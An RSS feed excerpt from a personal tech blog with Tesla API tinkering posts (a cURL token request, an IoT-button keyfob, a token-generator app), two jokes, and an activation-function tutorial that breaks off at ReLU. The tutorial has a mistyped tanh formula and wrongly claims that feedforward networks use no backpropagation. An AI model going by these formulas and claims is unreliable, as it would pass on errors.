&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;abhören&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^(.*)\\babhören$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;play&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;spiele&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^spiele\\b(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;play&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;spiel&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^spiel\\b(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;play&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;播放&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^播放(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;play&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;收听&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^收听(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;play&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;我想聽&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^我想聽(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Whilst the #NLP engine working on this is quite good, and impressive, I am hopeful that there will be more options added. Elon did share that is something they are working on, and it might be part of the updated v9 release coming out in the next few weeks.&lt;/p&gt;
&lt;blockquote class=&#34;twitter-tweet&#34; data-width=&#34;550&#34; data-height=&#34;600&#34;&gt;
  &lt;p lang=&#34;en&#34; dir=&#34;ltr&#34;&gt;
    &lt;a href=&#34;https://twitter.com/elonmusk/status/952750646406426624?ref_src=twsrc%5Etfw&#34;&gt;
      Loading tweet from @elonmusk...
    &lt;/a&gt;
  &lt;/p&gt;
  &lt;a href=&#34;https://twitter.com/elonmusk/status/952750646406426624?ref_src=twsrc%5Etfw&#34; class=&#34;twitter-tweet-link&#34;&gt;
    View on Twitter
  &lt;/a&gt;
&lt;/blockquote&gt;
&lt;script async src=&#34;https://platform.twitter.com/widgets.js&#34; charset=&#34;utf-8&#34;&gt;&lt;/script&gt;

</description>
    </item>
    
    <item>
      <title>How many lines of code does it take?</title>
      <link>/post/2018/08/how-many-lines-of-code-does-it-take/</link>
      <pubDate>Wed, 29 Aug 2018 00:00:00 +0000</pubDate>
      
      <guid>/post/2018/08/how-many-lines-of-code-does-it-take/</guid>
      <description>&lt;p&gt;Often once hears are Lines of Code (LoC) as a metric. And for you to get a sense of what it means, below is a info-graphic that outlines some popular products, and services and the LoC that takes. Always interesting to get perspective - either appreciate some home grown system you are managing, or worried about a stinking pile you are going to inherit or build. &amp;#x1f604;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/1276_lines_of_code_sep2015_fb.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Generating Tesla authentication token - cURL script</title>
      <link>/post/2018/08/generating-tesla-authentication-token-curl-script/</link>
      <pubDate>Fri, 10 Aug 2018 00:00:00 +0000</pubDate>
      
      <guid>/post/2018/08/generating-tesla-authentication-token-curl-script/</guid>
      <description>&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; This cURL script doesn&amp;rsquo;t work anymore. This was originally published back in 2018 when it was the best way to do this. Over the last few years however Tesla has deprecated this endpoint (/oauth/token) and moved to a SSO service (auth.tesla.com) which is a completely different approach. I&amp;rsquo;ll have a look and if there is a simple way to do it, then will share it here.&lt;/p&gt;
&lt;p&gt;I did write a simple &lt;a
	
		href = &#34;http://desigeek.com/blog/amit/2018/08/06/windows-tesla-auth-token-generator/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Windows (desktop) app
	&lt;/span&gt;
&lt;/a&gt; called TeslaTokenGenerator, for those who wanted to create authentication tokens for their Tesla, and use with 3rd party apps/data loggers. &lt;/p&gt;
&lt;p&gt;TeslaTokenGenerator can also create a &lt;a
	
		href = &#34;https://en.wikipedia.org/wiki/CURL&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		cURL script
	&lt;/span&gt;
&lt;/a&gt; for you to use, if you prefer not wanting to install anything. It is easy to find this online, but some of you have pinged me to get more details on this. So, I have the script below that you can use. Once you copy this, you will need to update your Tesla account login details (email and password) and run it in a console (command line) and it will all the same API&amp;rsquo;s to create the token, which then you can save.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -X POST -H &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Cache-Control: no-cache&amp;#34;&lt;/span&gt; -H &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW&amp;#34;&lt;/span&gt; -F &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;grant_type=password&amp;#34;&lt;/span&gt; -F &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;client_id=81527cff06843c8634fdc09e8ac0abefb46ac849f38fe1e431c2ef2106796384&amp;#34;&lt;/span&gt; -F &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;client_secret=c7257eb71a564034f9419ee651c7d0e5f7aa6bfbd18bafb5c5c033b093bb2fa3&amp;#34;&lt;/span&gt; -F &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;email=YOUR-TESLA-LOGIN-EMAIL@SOMEWHERE.COM&amp;#34;&lt;/span&gt; -F &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;password=YOUR-TESLA-ACCOUNT-PASSWORD&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;https://owner-api.teslamotors.com/oauth/token&amp;#34;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;You can see the screenshots of this below too - one in Windows, and another in Linux (well &lt;a
	
		href = &#34;http://desigeek.com/blog/amit/2016/04/19/bash-on-windows-is-real-not-a-vm/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Bash on Windows
	&lt;/span&gt;
&lt;/a&gt;, but it is real Linux).&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/cURL-windows.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/cURL-linux.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>My Tesla Model 3 &#34;Keyfob&#34;</title>
      <link>/post/2018/08/my-tesla-model-3-keyfob/</link>
      <pubDate>Tue, 07 Aug 2018 00:00:00 +0000</pubDate>
      
      <guid>/post/2018/08/my-tesla-model-3-keyfob/</guid>
      <description>&lt;p&gt;Inspired by a few folks on a few &lt;a
	
		href = &#34;https://www.reddit.com/user/mikes312&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		forums online
	&lt;/span&gt;
&lt;/a&gt;, I took the liberty to extend their idea using a IoT Button, that acts as a simple &amp;ldquo;keyfob&amp;rdquo; for the Model 3.&lt;/p&gt;
&lt;p&gt;The main goal was being to allow my daughter to lock and unlock the car at home. She is too young to have a phone, and without a more traditional fob, this gets a little annoying. &lt;/p&gt;
&lt;p&gt;I extended the original idea, to understand the different presses (Single, Double, and Long press), and accordingly called the appropriate API to lock the car (single press - think of it as a single click), unlock on a double press, and open the charge port on a long press (when one presses and holds the button 2-3 secs).&lt;/p&gt;
&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;
      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/J6IxNfJ-L7I?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;
    &lt;/div&gt;

&lt;p&gt;For those who aren&amp;rsquo;t aware, the Amazon IoT buttons calls a Lambda function on AWS and plugging into that, one can extend this. The button needs to be connected, and online for this to work, and in my case, it is on the home wifi network. &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; Many of you asked on how to set this up for yourself; I got around to blogging all the step on that; you can &lt;a
	
		href = &#34;http://desigeek.com/blog/amit/2018/09/16/setting-up-your-own-model-3-keyfob-using-a-iot-button/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		read those here
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Windows Tesla Auth Token Generator</title>
      <link>/post/2018/08/windows-tesla-auth-token-generator/</link>
      <pubDate>Mon, 06 Aug 2018 00:00:00 +0000</pubDate>
      
      <guid>/post/2018/08/windows-tesla-auth-token-generator/</guid>
      <description>&lt;p&gt;If you have a Tesla, and are using (or wanting to use) 3rd party tools or data loggers, the one think they of course need is to authenticate your details with Tesla. A simple, but insecure way is to use your Tesla credentials - and surprisingly many people just happily share and use this.&lt;/p&gt;
&lt;p&gt;I wasn&amp;rsquo;t comfortable doing this - after-all, they have access to your account where you can control a lot of things. Also, there are a few online tools that can generate the auth token, but again I wasn&amp;rsquo;t comfortable, as I did not know what they saved, or what they did not. :)&lt;/p&gt;
&lt;p&gt;So, I wrote a simple Windows app that can allow you to generate a auth token that you can save. The application itself is simple. You enter your Tesla credentials, click on Generate Token and can save the generated token. &lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/Tesla-token-generator.png&#34; alt=&#34;Tesla Token Generator Application&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;To test, if the generated token is working - click on the Test Token button. If everything is working as expected, you will see a list of vehicles that is associated with your account.&lt;/p&gt;
&lt;p&gt;If you prefer to use the cURL script, click on the Generate cURL, will generate this and copy it to your clipboard. And it works across operating systems as you can see below (Windows, and Linux), but should also work on Mac.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/cURL-linux.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/cURL-windows.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I do intent to open source this, so folks can have a look at the code, and the Tesla REST APIs. Until then you can &lt;a
	
		href = &#34;http://desigeek.com/blog/amit/download/tesla-token-generator/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		download the setup from here
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Leave a comment if you have any issues or any requests.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; v1.0.1 Published with minor updates. You can download from the same link above. This adds the revoke screen and some house keeping.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>The merits of #AI</title>
      <link>/post/2018/07/the-merits-of-ai/</link>
      <pubDate>Mon, 02 Jul 2018 00:00:00 +0000</pubDate>
      
      <guid>/post/2018/07/the-merits-of-ai/</guid>
      <description>&lt;p&gt;Thought of the week:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Artificial Intelligence stands no chance against natural Stupidity.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;#ArtificalIntelligence&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>#ML training data</title>
      <link>/post/2018/06/ml-training-data/</link>
      <pubDate>Fri, 15 Jun 2018 00:00:00 +0000</pubDate>
      
      <guid>/post/2018/06/ml-training-data/</guid>
      <description>&lt;p&gt;Seem like my training data for the &lt;a
	
		href = &#34;http://desigeek.com/blog/amit/2018/05/30/my-self-driving-car/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		car
	&lt;/span&gt;
&lt;/a&gt; - perhaps a hint of #bias. 😂&lt;/p&gt;
&lt;p&gt;#GeekyJokes #ML #AIJokes&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/img_3946.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Neural network basics &amp; Activation functions</title>
      <link>/post/2018/06/neural-network-basics-activation-functions/</link>
      <pubDate>Tue, 12 Jun 2018 00:00:00 +0000</pubDate>
      
      <guid>/post/2018/06/neural-network-basics-activation-functions/</guid>
      <description>&lt;p&gt;Neural networks have a very interesting aspect – they can be viewed as a simple mathematical model that defines a function. For a given function $f(x)$ which can take any input value of $x$, there will be some kind a neural network satisfying that function. This hypothesis was proven almost 20 years ago (“&lt;a
	
		href = &#34;http://www.dartmouth.edu/~gvc/Cybenko_MCSS.pdf&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Approximation by Superpositions of a Sigmoidal Function
	&lt;/span&gt;
&lt;/a&gt;” and “&lt;a
	
		href = &#34;https://pdfs.semanticscholar.org/f22f/6972e66bdd2e769fa64b0df0a13063c0c101.pdf&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Multilayer feedforward networks are universal approximators
	&lt;/span&gt;
&lt;/a&gt;”) and forms the basis of much of #AI and &lt;a
	
		href = &#34;http://desigeek.com/blog/amit/2018/06/04/machine-learning-use-cases/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		#ML use cases possible
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;It is this aspect of neural networks that allow us to map any process and generate a corresponding function. Unlike a function in Computer Science, this function isn’t deterministic; instead is confidence score of an approximation (i.e. a probability). The more layers in a neural network, the better this approximation will be.&lt;/p&gt;
&lt;p&gt;In a neural network, typically there is one input layer, one output layer, and one or more layers in the middle. To the external system, only the input layer (values of $x$), and the final output (output of the function $f(x)$) is visible, and the layers in the middle are not and are essentially hidden.&lt;/p&gt;
&lt;p&gt;Each layer contains nodes, which are modeled after how the neurons in the brain works. The output of each node gets propagated along to the next layer. This output is the defining character of the node, and activates the node to pass on its value to the next node; this is very similar to how a neuron in the brain fires and works passing on the signal to the next neuron.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image_thumb-5.png&#34; alt=&#34;Neural Network&#34;/&gt;
        &lt;figcaption&gt;Neural Network&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;To make this generalization of function $f(x)$ outlined above to hold, that function needs to be &lt;a
	
		href = &#34;https://en.wikipedia.org/wiki/Continuous_function&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		a continuous function
	&lt;/span&gt;
&lt;/a&gt;. A continuous function is one where small changes to the input value $x$, create small changes to the output of $f(x)$. If these outputs, are not small and the value jumps a lot then it is not continuous and it is difficult for the function to achieve the approximation required for them to be used in a neural network.&lt;/p&gt;
&lt;p&gt;For a neural network to ‘learn’ – the network essentially has to use different weights and biases that has a corresponding change to the output, and possibly closer to the result we desire. Ideally, small changes to these weights and biases correspond to small changes in the output of the function. But one isn&amp;rsquo;t sure, until we train and test the result, to see that small changes don’t have bigger shifts that drastically move away from the desired result. It isn&amp;rsquo;t uncommon to see that one aspect of the result has improved, but others have not and overall skew the results.&lt;/p&gt;
&lt;p&gt;In simple terms, an activation function is a node that is attached to the output of a neural network and maps the resulting value between 0 and 1. It is also used to connect two neural networks.&lt;/p&gt;
&lt;p&gt;An activation function can be linear, or non-linear. A linear isn’t effective as its range is infinite. A non-linear with a finite range is more useful as it can be mapped as a curve, and then changes on this curve can be used to calculate the difference in the curve between two points.&lt;/p&gt;
&lt;p&gt;There are many times of activation functions, each either its strengths. In this post, we discuss the following six:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Sigmoid&lt;/li&gt;
&lt;li&gt;Tanh&lt;/li&gt;
&lt;li&gt;ReLU&lt;/li&gt;
&lt;li&gt;Leaky ReLU&lt;/li&gt;
&lt;li&gt;ELU&lt;/li&gt;
&lt;li&gt;Maxout&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;1. Sigmoid function&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A sigmoid function can map any of input values into a probability – i.e., a value between 0 and 1. A sigmoid function is typically shown using a sigma ($\sigma$). Some also call the ($\sigma$) a logistic function. For any given input value, $ x $ the official definition of the sigmoid function is as follows:&lt;/p&gt;
&lt;p&gt;$$\sigma(x) \equiv \frac{1}{1+e^{-x}}$$&lt;/p&gt;
&lt;p&gt;If our inputs are $x_1, x_2,\ldots$, and their corresponding weights are $w_1, w_2,\ldots$, and a bias &lt;strong&gt;b&lt;/strong&gt;, then the previous sigmoid definition is updated as follows:&lt;/p&gt;
&lt;p&gt;$$\frac{1}{1+\exp(-\sum_j w_j x_j-b)}$$&lt;/p&gt;
&lt;p&gt;When plotted, the sigmoid function will look plotted looks like this curve below. When we use this, in a neural network, we essentially end up with a smoothed-out function, unlike a binary function (also called a step function) – that is either 0, or 1.&lt;/p&gt;
&lt;p&gt;For a given function, $f(x)$, as $x \rightarrow \infty$, $f(x)$ tends towards 1. And, as as $x \rightarrow -\infty$, $f(x)$ tends towards 0.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/600px-Logistic-curve.svg.png&#34; alt=&#34;Sigmoid function&#34;/&gt;
        &lt;figcaption&gt;Sigmoid function&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;And this smoothness of $\sigma$ is what will create the small changes in the output that we desire - where small changes to the weights ($\Delta w_j$), and small changes to the bias ($\Delta b$) will produce small changes to the output ($\Delta output$).&lt;/p&gt;
&lt;p&gt;Fundamentally, changing these weights and biases, is what can give us either a step function or small changes. We can show this as follows:&lt;/p&gt;
&lt;p&gt;$$\Delta output \approx \sum_j (\frac{\partial \, output}{\partial w_j} \Delta w_j + \frac{\partial \, output}{\partial b} \Delta b)$$&lt;/p&gt;
&lt;!-- $$\\Delta \\box{output} \\approx \\sum\_j \\frac{\\partial \\, \\box{output}}{\\partial w\_j} \\Delta w\_j + \\frac{\\partial \\, \\box{output}}{\\partial b} \\Delta b\$$ --&gt;
&lt;p&gt;One thing to be aware of is that the sigmoid function suffers from the &lt;a
	
		href = &#34;http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.24.7321&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		vanishing gradient problem
	&lt;/span&gt;
&lt;/a&gt; – the convergence between the various layers is very slow after a certain point – the neurons in previous layers don’t learn fast enough and are much slower than the neurons in later layers. Because of this, generally, a sigmoid is avoided.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Tanh (hyperbolic tangent function)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Tanh, is a variant of the sigmoid function, but still quite similar – it is a rescaled version and ranges from –1 to 1, instead of 0 and 1. As a result, its optimization is easier and is preferred over the sigmoid function. The formula for tanh is:&lt;/p&gt;
&lt;p&gt;$$\tanh(x) \equiv \frac{e^x-e^{-z}}{e^X+e^{-x}}$$&lt;/p&gt;
&lt;p&gt;Using, this we can show that:&lt;/p&gt;
&lt;p&gt;$$\sigma(x) = \frac{1 + \tanh(x/2)}{2}$$.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image_thumb-6.png&#34; alt=&#34;Sigmoid vs Tanh&#34;/&gt;
        &lt;figcaption&gt;Sigmoid vs Tanh&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Tanh also suffers from the vanishing gradient problem. Both Tanh, and, Sigmoid are used in &lt;a
	
		href = &#34;https://en.wikipedia.org/wiki/Feedforward_neural_network&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		FNN
	&lt;/span&gt;
&lt;/a&gt; (Feedforward neural network) – i.e. the information always moves forward and there isn’t any backprop.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/Feed_forward_neural_net.gif&#34; alt=&#34;FNN&#34;/&gt;
        &lt;figcaption&gt;FNN&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Rectified Linear Unit (ReLU)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A rectified linear unity (&lt;a
	
		href = &#34;https://www.cs.toronto.edu/~hinton/absps/reluICML.pdf&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		ReLU
	&lt;/span&gt;
&lt;/a&gt;) is the most popular activation function that is used these days.&lt;/p&gt;
&lt;p&gt;$$\sigma(x) = \begin{cases} x &amp;amp; x &amp;gt; 0\\ 0 &amp;amp; x \leq 0 \end{cases}$$&lt;/p&gt;
